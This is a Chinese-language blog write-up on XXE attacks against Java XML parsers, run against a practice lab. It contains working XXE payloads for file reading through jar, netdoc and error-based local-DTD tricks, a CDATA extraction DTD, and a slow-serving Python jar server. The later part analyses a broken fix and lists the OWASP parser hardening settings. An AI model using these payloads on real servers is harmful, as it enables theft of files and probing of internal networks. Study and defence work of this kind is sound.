XXE记录

修复等仅仅举例一个 其他的可以在参考文章中阅读。

基础知识

基础知识文档 建议多看w3标准:
https://www.yiibai.com/xml/xml_overview.html【xml】
https://www.yiibai.com/dtd/dtd_entities.html【dtd】
https://www.w3.org/TR/xml/【XML标准】
https://wenku.baidu.com/view/16e5e3e9e009581b6bd9eba3【xml标准翻译】
需要注意的是在XML中有这样一条对参数实体有效约束:

举两个例子:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % p "text">
<!ENTITY text "this is a %p;">         
<!--这种情况就是在实体声明内部引用,错误-->
]>
<note>&text;</note>

如果是在外部

<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % q SYSTEM "http://localhost/note.dtd">
%q;
]>
<note>&text;</note>

note.dtd

<!ENTITY % p "text">
<!ENTITY text "this is a %p;">            <!--%p;可以替换成"text"-->

测试环境

基于以下靶场作为测试,以及各语言支持的协议。这里主要针对JAVA语言的一些特性来写。
https://github.com/c0ny1/xxe-lab

JAVA

Java所支持的协议均在sun.net.www.protocol

其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
一般利用file协议来读文件,netdoc 可以代替部分file协议来读取文件。利用http探测内网,以及配合file协议作为不回显时候使用。

Jar:// 文件上传

jar 协议语法,jar:{url}!/{entry},url是文件的路径,entry是想要解压出来的文件
jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

那么延长服务器传递文件的时间,就可以延长临时文件存在的时间
jar_server.py,这里在传输最后一个字符的时候会 sleep 30s

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

我们制作一个压缩包 里面放一个文件。如图所示监听脚本然后 使用如图所示POC

<!DOCTYPE convert [
  <!ENTITY jar SYSTEM "jar:http://localhost:9999/3.zip!/1.jsp">
]>
<user><username>&jar;</username><password>1</password></user>


可以看到读出来了1.jsp 如果对方服务器开启了报错,我们输入一个2.jsp。服务器则会直接报错文件名的目录。

我们可以看到temp文件在windows下的temp目录下

C:\Users\Administrator\AppData\Local\Temp

那我们可以使用ftp读取temp目录下的文件 这样就可以知道刚刚我们上传上去的文件名到底是什么了。当然ftp在java 8u131就正式修复了FTP Client的\n注入问题 CVE编号是CVE-2017-3533
这里使用低于131版本即可。使用的脚本链接
https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/python/xxe-server.py

这里有几个坑点 例如服务器文件名有点问题。java会报错2 字节的 UTF-8 序列的字节 2 无效。以及如果temp文件有什么东西东西【具体不知】就读取不了temp目录。我在本地是读取不到的,然后删除所有一次就可以又读取到了。

netdoc 协议

Java 中 netdoc 协议可以替代 file 协议功能,读文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY jar SYSTEM "netdoc:///C:\Windows\win.ini">
]>
<user><username>&jar;</username><password>1</password></user>

报错XXE

参考:

P牛报错XXE
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

原理

  • 第一步找到一个目标存在的dtd,然后加载它。
  • 第二步读取我们想要的文件,通过重新定义一些参数实体引用,因为所有 XML 实体都是常量。如果您定义两个具有相同名称的实体,则只会使用第一个实体。
  • 加载远程文件通过读取或者不存在使其报错 从而爆出文件内容。或者加载url,请求失败,xml解析报错。

PHP

在php因为用的libxml 可以直接将dtd放在请求XML中所以不需要找本地dtd。使用P牛的poc

<?xml version="1.0" ?>
<!DOCTYPE message [
	<!ENTITY % NUMBER '
		<!ENTITY &#x25; file SYSTEM "file:///c:/1.xml">
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;error;
		'>
	%NUMBER;
]>
<message>any text</message>

JAVA

JAVA则需要出网才能达到这种报错的效果,原因我们下面会讲到。
服务器建立报错dtd

<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

使用poc

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://127.0.0.1:8888/error.xml">
    %ext;
]>

内部子集中无法使用参数实体

然而这种放在java就是不可行的了。我们在基础知识提到参数实体引不能出现在 DTD 的内部子集中的标记内而JAVA就遵循了这一点。所以需要寻找一个本地dtd然后通过修改实体达到报错的目的。
C:\Windows\System32\wbem\xml\cim20.dtd 是始终存在的 Windows DTD 文件的路径。

我们可以根据文章构造如下poc

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "file:///c:/1.xml">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
		<!ENTITY test "test"'>
    %local_dtd;
]>
<message>any text</message>

读取xml等特殊字符

使用CDATA节点即可。https://www.yiibai.com/xml/xml_cdata_sections.html
像PHP可以使用一些协议读就不讨论了。这里主要记录下JAVA
准备外部dtd

<!ENTITY % start "<![CDATA[">
<!ENTITY % data SYSTEM "file:///c:/1.xml">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY filedata '%start;%data;%end;'>">

其他POC

简单改动即使用 例如DOS等攻击
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection

JAVA_XXE修复

JAVA_XXE Document调用栈

setupCurrentEntity:647, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
startEntity:1304, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
startEntity:1240, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
scanEntityReference:1908, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:3061, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:243, DOMParser (com.sun.org.apache.xerces.internal.parsers)
parse:339, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp)
parse:121, DocumentBuilder (javax.xml.parsers)
main:20, DocumentXXE (com.demo.xxe)

setExpandEntityReferences分析

在微信Java SDK XXE案例中[参考中有链接阅读]

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

我们知道 这样子修复是不起作用的。
分析setExpandEntityReferences调用栈如下

endGeneralEntity:1644, AbstractDOMParser (com.sun.org.apache.xerces.internal.parsers)
endGeneralEntity:1055, XMLDTDValidator (com.sun.org.apache.xerces.internal.impl.dtd)
endEntity:906, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
endEntity:559, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
endEntity:1401, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
load:1916, XMLEntityScanner (com.sun.org.apache.xerces.internal.impl)
skipChar:1551, XMLEntityScanner (com.sun.org.apache.xerces.internal.impl)
next:2821, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:243, DOMParser (com.sun.org.apache.xerces.internal.parsers)
parse:339, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp)
parse:121, DocumentBuilder (javax.xml.parsers)
main:20, DocumentXXE (com.demo.xxe)
  1. DocumentBuilderFactory.setExpandEntityReferences()传入false会改变DocumentBuilderFactoryImpl中expandEntityRef变量的值 (默认true)
  2. DocumentBuilderFactory.newDocumentBuilder()创建DocumentBuilderImpl时,会根据expandEntityRef的 相反值改变fConfiguration中http://apache.org/xml/features/dom/create-entity-ref-nodes的值

image.png

  1. XMLParser.reset()时,AbstractDOMParser中fCreateEntityRefNodes变量也被重置为true
  2. 在XMLDocumentFragmentScannerImpl.scanDocument()时,调用scanDoctypeDecl()扫描DOCTYPE,之后交给DTDDriver.next()处理实体声明
  3. 当进入START_ELEMENT阶段后,startEntity()会调用scanEntityReference()扫描并解析实体引用&xxe;,而在endEntity()判断fCreateEntityRefNodes为false时,将会移除掉该节点

image.png
所以原因就是解析XML生成的Document文档进行设置,设置为 true则展开实体引用到生成的文档中替换掉&xxx的实体引用声明,设置为false则保留实体引用声明的DOM树在生成的文档中。【具体可以看下面参考第一篇的案例即可了解。】

正确的防御措施

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     
/*以下为修复代码*/            //https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
//禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //首选
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);        //防止外部实体POC 
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止参数实体POC
/*以上为修复代码*/    
DocumentBuilder db = dbf.newDocumentBuilder();        
Document doc = db.parse(request.getInputStream());

owasp推荐的,其实也就是多了三个属性的设置

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
// If you can't completely disable DTDs, then at least do the following:
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
// JDK7+ - http://xml.org/sax/features/external-general-entities
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
// JDK7+ - http://xml.org/sax/features/external-parameter-entities
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
// Disable external DTDs as well
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
>..
// Load XML file or stream using a XXE agnostic configured parser...
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

以及JAXBContext里在创建unmarshaller的时候,某句话,设置了secure-processing的Feature

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);

我们这里主要看一下

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)

除了设置属性外。在XMLDocumentFragmentScannerImpl.scanDocument()由PrologDriver.next()依次扫描到<、!字符后进入SCANNER_STATE_DOCTYPE阶段,该阶段第一件事就是判断fDisallowDoctype的值,如果为true,则直接报告异常信息中断扫描
image.png

错误的修复

工厂类的话,一定要先设置Feature,再去生成数据。例如下面两种写法,后者是无效的

public void safe() throws ParserConfigurationException, IOException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    String FEATURE = null;
    FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
    dbf.setFeature(FEATURE, true);
    FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
    dbf.setFeature(FEATURE, true);
    FEATURE = "http://xml.org/sax/features/external-parameter-entities";
    dbf.setFeature(FEATURE, false);
    FEATURE = "http://xml.org/sax/features/external-general-entities";
    dbf.setFeature(FEATURE, false);
    FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
    dbf.setFeature(FEATURE, false);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder builder = dbf.newDocumentBuilder();
    builder.parse(ResourceUtils.getPoc1());
}

public void unsafe() throws ParserConfigurationException, IOException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = dbf.newDocumentBuilder();
    String FEATURE = null;
    FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
    dbf.setFeature(FEATURE, true);
    FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
    dbf.setFeature(FEATURE, true);
    FEATURE = "http://xml.org/sax/features/external-parameter-entities";
    dbf.setFeature(FEATURE, false);
    FEATURE = "http://xml.org/sax/features/external-general-entities";
    dbf.setFeature(FEATURE, false);
    FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
    dbf.setFeature(FEATURE, false);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
    builder.parse(ResourceUtils.getPoc1());
}

参考

https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/
https://paper.seebug.org/papers/scz/misc/201911211542.txt
https://www.t00ls.com/viewthread.php?tid=53607
https://www.leadroyal.cn/p/562/

点击下载保存的T00ls文章删除png变成html即可

posted @ 2023-02-09 16:13  R0ser1  阅读(162)  评论(0编辑  收藏  举报